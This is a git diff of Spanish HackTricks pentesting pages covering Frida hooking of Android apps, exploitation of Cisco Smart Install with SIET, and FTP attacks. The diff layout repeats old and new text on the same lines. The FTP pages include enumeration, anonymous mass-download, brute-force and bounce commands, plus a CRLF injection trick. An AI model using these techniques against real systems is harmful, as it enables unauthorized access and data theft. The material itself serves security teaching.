Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details> </details>
{% endhint %}

View file

@ -1,20 +1,23 @@
# Tutorial de Frida 2 # Frida Tutorial 2
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**Consejo de recompensa por errores**: **Regístrate** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy y comienza a ganar recompensas de hasta **$100,000**! **Bug bounty tip**: **regístrate** en **Intigriti**, una **plataforma de bug bounty premium creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
@ -27,8 +30,8 @@ La parte 1 es muy fácil.
## Parte 2 ## Parte 2
Aquí puedes ver un ejemplo de cómo **engañar 2 funciones con el mismo nombre** pero diferentes parámetros.\ Aquí puedes ver un ejemplo de cómo **hookear 2 funciones con el mismo nombre** pero diferentes parámetros.\
También aprenderás cómo **llamar a una función con tus propios parámetros**.\ Además, vas a aprender cómo **llamar a una función con tus propios parámetros**.\
Y finalmente, hay un ejemplo de cómo **encontrar una instancia de una clase y hacer que llame a una función**. Y finalmente, hay un ejemplo de cómo **encontrar una instancia de una clase y hacer que llame a una función**.
```javascript ```javascript
//s2.js //s2.js
@ -64,7 +67,7 @@ onComplete: function () { }
}); });
}); });
``` ```
Puedes ver que para crear un String primero se ha referenciado la clase _java.lang.String_ y luego se ha creado un objeto _$new_ de esa clase con un String como contenido. Esta es la forma correcta de crear un nuevo objeto de una clase. Sin embargo, en este caso, podrías simplemente pasar a `this.fun()` cualquier String como: `this.fun("¡hola!")` Puedes ver que para crear un String primero ha referenciado la clase _java.lang.String_ y luego ha creado un objeto _$new_ de esa clase con un String como contenido. Esta es la forma correcta de crear un nuevo objeto de una clase. Pero, en este caso, podrías simplemente pasar a `this.fun()` cualquier String como: `this.fun("hey there!")`
### Python ### Python
```python ```python
@ -122,7 +125,7 @@ script.exports.callsecretfunction()
elif command == "3": elif command == "3":
script.exports.hooksecretfunction() script.exports.hooksecretfunction()
``` ```
El comando "**1**" **saldrá**, el comando "**2**" encontrará una **instancia de la clase y llamará a la función privada** _**secret()**_ y el comando "**3**" **engachará** la función _**secret()**_ para que **devuelva** una **cadena diferente**. El comando "**1**" **saldrá**, el comando "**2**" encontrará y **instanciará la clase y llamará a la función privada** _**secret()**_ y el comando "**3**" **enganchará** la función _**secret()**_ para que **devuelva** una **cadena diferente**.
Entonces, si llamas a "**2**" obtendrás el **secreto real**, pero si llamas a "**3**" y luego a "**2**" obtendrás el **secreto falso**. Entonces, si llamas a "**2**" obtendrás el **secreto real**, pero si llamas a "**3**" y luego a "**2**" obtendrás el **secreto falso**.
@ -167,7 +170,7 @@ hooksecretfunction: hookSecret
``` ```
## Parte 4 ## Parte 4
Aquí verás cómo hacer que **Python y JS interactúen** utilizando objetos JSON. JS utiliza la función `send()` para enviar datos al cliente de Python, y Python utiliza las funciones `post()` para enviar datos al script de JS. El **JS bloqueará la ejecución** hasta que reciba una respuesta de Python. Aquí verás cómo hacer que **Python y JS interactúen** utilizando objetos JSON. JS utiliza la función `send()` para enviar datos al cliente de Python, y Python utiliza la función `post()` para enviar datos al script de JS. **JS bloqueará la ejecución** hasta que reciba una respuesta de Python.
### Python ### Python
```python ```python
@ -222,18 +225,21 @@ Hay una parte 5 que no voy a explicar porque no hay nada nuevo. Pero si quieres
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**Consejo de recompensa por errores**: **Regístrate** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy y comienza a ganar recompensas de hasta **$100,000**! **Consejo de bug bounty**: **regístrate** en **Intigriti**, ¡una plataforma de **bug bounty premium creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# 4786 - Cisco Smart Install # 4786 - Cisco Smart Install
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure> <figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -18,24 +21,24 @@
## Información Básica ## Información Básica
**Cisco Smart Install** es un diseño de Cisco para automatizar la configuración inicial y la carga de una imagen del sistema operativo para nuevo hardware de Cisco. **De forma predeterminada, Cisco Smart Install está activo en el hardware de Cisco y utiliza el protocolo de capa de transporte, TCP, con el número de puerto 4786.** **Cisco Smart Install** es un diseño de Cisco para automatizar la configuración inicial y la carga de una imagen del sistema operativo para nuevo hardware de Cisco. **Por defecto, Cisco Smart Install está activo en el hardware de Cisco y utiliza el protocolo de capa de transporte, TCP, con el número de puerto 4786.**
**Puerto predeterminado:** 4786 **Puerto por defecto:** 4786
``` ```
PORT STATE SERVICE PORT STATE SERVICE
4786/tcp open smart-install 4786/tcp open smart-install
``` ```
## **Herramienta de Explotación de Smart Install** ## **Smart Install Exploitation Tool**
**En 2018, se encontró una vulnerabilidad crítica, CVE-20180171, en este protocolo. El nivel de amenaza es de 9.8 en la escala CVSS.** **En 2018, se encontró una vulnerabilidad crítica, CVE-20180171, en este protocolo. El nivel de amenaza es 9.8 en la escala CVSS.**
**Un paquete especialmente diseñado enviado al puerto TCP/4786, donde está activo el Cisco Smart Install, desencadena un desbordamiento de búfer, lo que permite a un atacante:** **Un paquete especialmente diseñado enviado al puerto TCP/4786, donde Cisco Smart Install está activo, provoca un desbordamiento de búfer, permitiendo a un atacante:**
* reiniciar forzosamente el dispositivo * reiniciar forzosamente el dispositivo
* llamar a RCE * llamar a RCE
* robar configuraciones de equipos de red. * robar configuraciones de equipos de red.
**El** [**SIET**](https://github.com/frostbits-security/SIET) **(Herramienta de Explotación de Smart Install)** fue desarrollado para explotar esta vulnerabilidad, lo que te permite abusar de Cisco Smart Install. En este artículo te mostraré cómo puedes leer un archivo de configuración legítimo de hardware de red. La configuración de exfiltración puede ser valiosa para un pentester porque aprenderá sobre las características únicas de la red. Y esto facilitará la vida y permitirá encontrar nuevos vectores para un ataque. **El** [**SIET**](https://github.com/frostbits-security/SIET) **(Smart Install Exploitation Tool)** fue desarrollado para explotar esta vulnerabilidad, permite abusar de Cisco Smart Install. En este artículo te mostraré cómo puedes leer un archivo de configuración de hardware de red legítimo. La configuración de exfiltración puede ser valiosa para un pentester porque aprenderá sobre las características únicas de la red. Y esto facilitará la vida y permitirá encontrar nuevos vectores para un ataque.
**El dispositivo objetivo será un switch Cisco Catalyst 2960 "en vivo". Las imágenes virtuales no tienen Cisco Smart Install, por lo que solo puedes practicar en el hardware real.** **El dispositivo objetivo será un switch Cisco Catalyst 2960 "en vivo". Las imágenes virtuales no tienen Cisco Smart Install, por lo que solo puedes practicar en el hardware real.**
@ -53,14 +56,17 @@ La configuración del switch **10.10.100.10** estará en la carpeta **tftp/**
{% embed url="https://websec.nl/" %} {% embed url="https://websec.nl/" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,18 +1,21 @@
# 21 - Pentesting FTP # 21 - Pentesting FTP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
**Grupo de Seguridad Try Hard** **Try Hard Security Group**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
@ -22,27 +25,27 @@
## Información Básica ## Información Básica
El **Protocolo de Transferencia de Archivos (FTP)** sirve como un protocolo estándar para la transferencia de archivos a través de una red informática entre un servidor y un cliente.\ El **Protocolo de Transferencia de Archivos (FTP)** sirve como un protocolo estándar para la transferencia de archivos a través de una red de computadoras entre un servidor y un cliente.\
Es un protocolo de **texto plano** que utiliza como **carácter de nueva línea `0x0d 0x0a`** por lo que a veces necesitas **conectar usando `telnet`** o **`nc -C`**. Es un protocolo **de texto plano** que utiliza como **carácter de nueva línea `0x0d 0x0a`** por lo que a veces necesitas **conectarte usando `telnet`** o **`nc -C`**.
**Puerto Predeterminado:** 21 **Puerto por Defecto:** 21
``` ```
PORT STATE SERVICE PORT STATE SERVICE
21/tcp open ftp 21/tcp open ftp
``` ```
### Conexiones Activas y Pasivas ### Conexiones Activas y Pasivas
En **FTP Activo**, el **cliente FTP** primero **inicia** la **conexión de control** desde su puerto N al puerto de comando del servidor FTP, que es el puerto 21. Luego, el **cliente** **escucha** en el puerto **N+1** y envía el puerto N+1 al servidor FTP. El servidor FTP luego **inicia** la **conexión de datos** desde **su puerto M al puerto N+1** del cliente FTP. En **FTP Activo**, el **cliente** FTP primero **inicia** la **conexión** de control desde su puerto N al puerto de comando del servidor FTP puerto 21. El **cliente** luego **escucha** en el puerto **N+1** y envía el puerto N+1 al servidor FTP. El **servidor** FTP luego **inicia** la **conexión** de datos, desde **su puerto M al puerto N+1** del cliente FTP.
Sin embargo, si el cliente FTP tiene un firewall configurado que controla las conexiones de datos entrantes desde el exterior, entonces el FTP activo puede ser un problema. Y, una solución factible para eso es el FTP Pasivo. Pero, si el cliente FTP tiene un firewall configurado que controla las conexiones de datos entrantes desde el exterior, entonces el FTP activo puede ser un problema. Y, una solución viable para eso es el FTP Pasivo.
En **FTP Pasivo**, el cliente inicia la conexión de control desde su puerto N al puerto 21 del servidor FTP. Después de esto, el cliente emite un **comando passv**. El servidor luego envía al cliente uno de sus números de puerto M. Y el **cliente** **inicia** la **conexión de datos** desde **su puerto P al puerto M** del servidor FTP. En **FTP Pasivo**, el cliente inicia la conexión de control desde su puerto N al puerto 21 del servidor FTP. Después de esto, el cliente emite un **comando passv**. El servidor luego envía al cliente uno de sus números de puerto M. Y el **cliente** **inicia** la **conexión** de datos desde **su puerto P al puerto M** del servidor FTP.
Fuente: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/) Fuente: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
### Depuración de Conexiones ### Depuración de Conexiones
Los comandos **`debug`** y **`trace`** de **FTP** se pueden utilizar para ver **cómo se está produciendo la comunicación**. Los comandos **FTP** **`debug`** y **`trace`** se pueden usar para ver **cómo está ocurriendo la comunicación**.
## Enumeración ## Enumeración
@ -61,7 +64,7 @@ lftp 10.10.10.208:~> login
Usage: login <user|URL> [<pass>] Usage: login <user|URL> [<pass>]
lftp 10.10.10.208:~> login username Password lftp 10.10.10.208:~> login username Password
``` ```
### Enumeración sin autenticación ### Unauth enum
Con **nmap** Con **nmap**
```bash ```bash
@ -119,81 +122,81 @@ ftp <IP>
``` ```
### [Fuerza bruta](../../generic-methodologies-and-resources/brute-force.md#ftp) ### [Fuerza bruta](../../generic-methodologies-and-resources/brute-force.md#ftp)
Aquí puedes encontrar una lista útil con credenciales ftp por defecto: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt) Aquí puedes encontrar una buena lista con credenciales ftp predeterminadas: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
### Automatizado ### Automatizado
Las comprobaciones de inicio de sesión anónimo y rebote FTP se realizan de forma predeterminada por nmap con la opción **-sC** o: El inicio de sesión anónimo y las verificaciones de rebote FTP se realizan por defecto con nmap usando la opción **-sC** o:
```bash ```bash
nmap --script ftp-* -p 21 <ip> nmap --script ftp-* -p 21 <ip>
``` ```
## Conexión del navegador ## Conexión del navegador
Puedes conectarte a un servidor FTP utilizando un navegador (como Firefox) usando una URL como: Puedes conectarte a un servidor FTP usando un navegador (como Firefox) utilizando una URL como:
```bash ```bash
ftp://anonymous:anonymous@10.10.10.98 ftp://anonymous:anonymous@10.10.10.98
``` ```
Ten en cuenta que si una **aplicación web** está enviando datos controlados por un usuario **directamente a un servidor FTP**, puedes enviar una doble codificación de URL `%0d%0a` (en doble codificación de URL esto es `%250d%250a`) y hacer que el **servidor FTP realice acciones arbitrarias**. Una de estas posibles acciones arbitrarias es descargar contenido de un servidor controlado por un usuario, realizar un escaneo de puertos o intentar comunicarse con otros servicios basados en texto sin formato (como http). Nota que si una **aplicación web** está enviando datos controlados por un usuario **directamente a un servidor FTP**, puedes enviar doble URL encode `%0d%0a` (en doble URL encode esto es `%250d%250a`) bytes y hacer que el **servidor FTP realice acciones arbitrarias**. Una de estas posibles acciones arbitrarias es descargar contenido de un servidor controlado por un usuario, realizar escaneo de puertos o intentar comunicarse con otros servicios basados en texto plano (como http).
## Descargar todos los archivos del FTP ## Descargar todos los archivos del FTP
```bash ```bash
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
``` ```
Si tu usuario/contraseña tiene caracteres especiales, se puede usar el [siguiente comando](https://stackoverflow.com/a/113900/13647948): Si su usuario/contraseña tiene caracteres especiales, se puede usar el [siguiente comando](https://stackoverflow.com/a/113900/13647948):
```bash ```bash
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
``` ```
## Algunos comandos FTP ## Algunos comandos FTP
* **`USER nombredeusuario`** * **`USER username`**
* **`PASS contraseña`** * **`PASS password`**
* **`HELP`** El servidor indica qué comandos son compatibles * **`HELP`** El servidor indica qué comandos son compatibles
* \*\*`PORT 127,0,0,1,0,80`\*\* Esto indicará al servidor FTP establecer una conexión con la IP 127.0.0.1 en el puerto 80 (_debes poner el quinto carácter como "0" y el sexto como el puerto en decimal o usar el quinto y sexto para expresar el puerto en hexadecimal_). * \*\*`PORT 127,0,0,1,0,80`\*\*Esto indicará al servidor FTP que establezca una conexión con la IP 127.0.0.1 en el puerto 80 (_debes poner el 5º carácter como "0" y el 6º como el puerto en decimal o usar el 5º y 6º para expresar el puerto en hex_).
* \*\*`EPRT |2|127.0.0.1|80|`\*\* Esto indicará al servidor FTP establecer una conexión TCP (_indicado por "2"_) con la IP 127.0.0.1 en el puerto 80. Este comando **soporta IPv6**. * \*\*`EPRT |2|127.0.0.1|80|`\*\*Esto indicará al servidor FTP que establezca una conexión TCP (_indicado por "2"_) con la IP 127.0.0.1 en el puerto 80. Este comando **soporta IPv6**.
* **`LIST`** Esto enviará la lista de archivos en la carpeta actual * **`LIST`** Esto enviará la lista de archivos en la carpeta actual
* **`LIST -R`** Listar de forma recursiva (si el servidor lo permite) * **`LIST -R`** Listar recursivamente (si lo permite el servidor)
* **`APPE /ruta/algo.txt`** Esto indicará al FTP almacenar los datos recibidos de una conexión **pasiva** o de una conexión **PORT/EPRT** en un archivo. Si el nombre de archivo existe, se añadirán los datos. * **`APPE /path/something.txt`** Esto indicará al FTP que almacene los datos recibidos de una **conexión pasiva** o de una conexión **PORT/EPRT** en un archivo. Si el nombre del archivo existe, se añadirá la información.
* **`STOR /ruta/algo.txt`** Similar a `APPE` pero sobrescribirá los archivos * **`STOR /path/something.txt`** Como `APPE` pero sobrescribirá los archivos
* **`STOU /ruta/algo.txt`** Similar a `APPE`, pero si existe no hará nada. * **`STOU /path/something.txt`** Como `APPE`, pero si existe no hará nada.
* **`RETR /ruta/al/archivo`** Se debe establecer una conexión pasiva o de puerto. Luego, el servidor FTP enviará el archivo indicado a través de esa conexión * **`RETR /path/to/file`** Se debe establecer una conexión pasiva o de puerto. Luego, el servidor FTP enviará el archivo indicado a través de esa conexión
* **`REST 6`** Esto indicará al servidor que la próxima vez que envíe algo usando `RETR` debe comenzar en el sexto byte. * **`REST 6`** Esto indicará al servidor que la próxima vez que envíe algo usando `RETR` debe comenzar en el byte.
* **`TYPE i`** Establecer transferencia a binario * **`TYPE i`** Establecer transferencia a binario
* **`PASV`** Esto abrirá una conexión pasiva e indicará al usuario dónde puede conectarse * **`PASV`** Esto abrirá una conexión pasiva e indicará al usuario dónde puede conectarse
* **`PUT /tmp/archivo.txt`** Subir el archivo indicado al FTP * **`PUT /tmp/file.txt`** Subir el archivo indicado al FTP
![](<../../.gitbook/assets/image (386).png>) ![](<../../.gitbook/assets/image (386).png>)
## Ataque FTPBounce ## Ataque FTPBounce
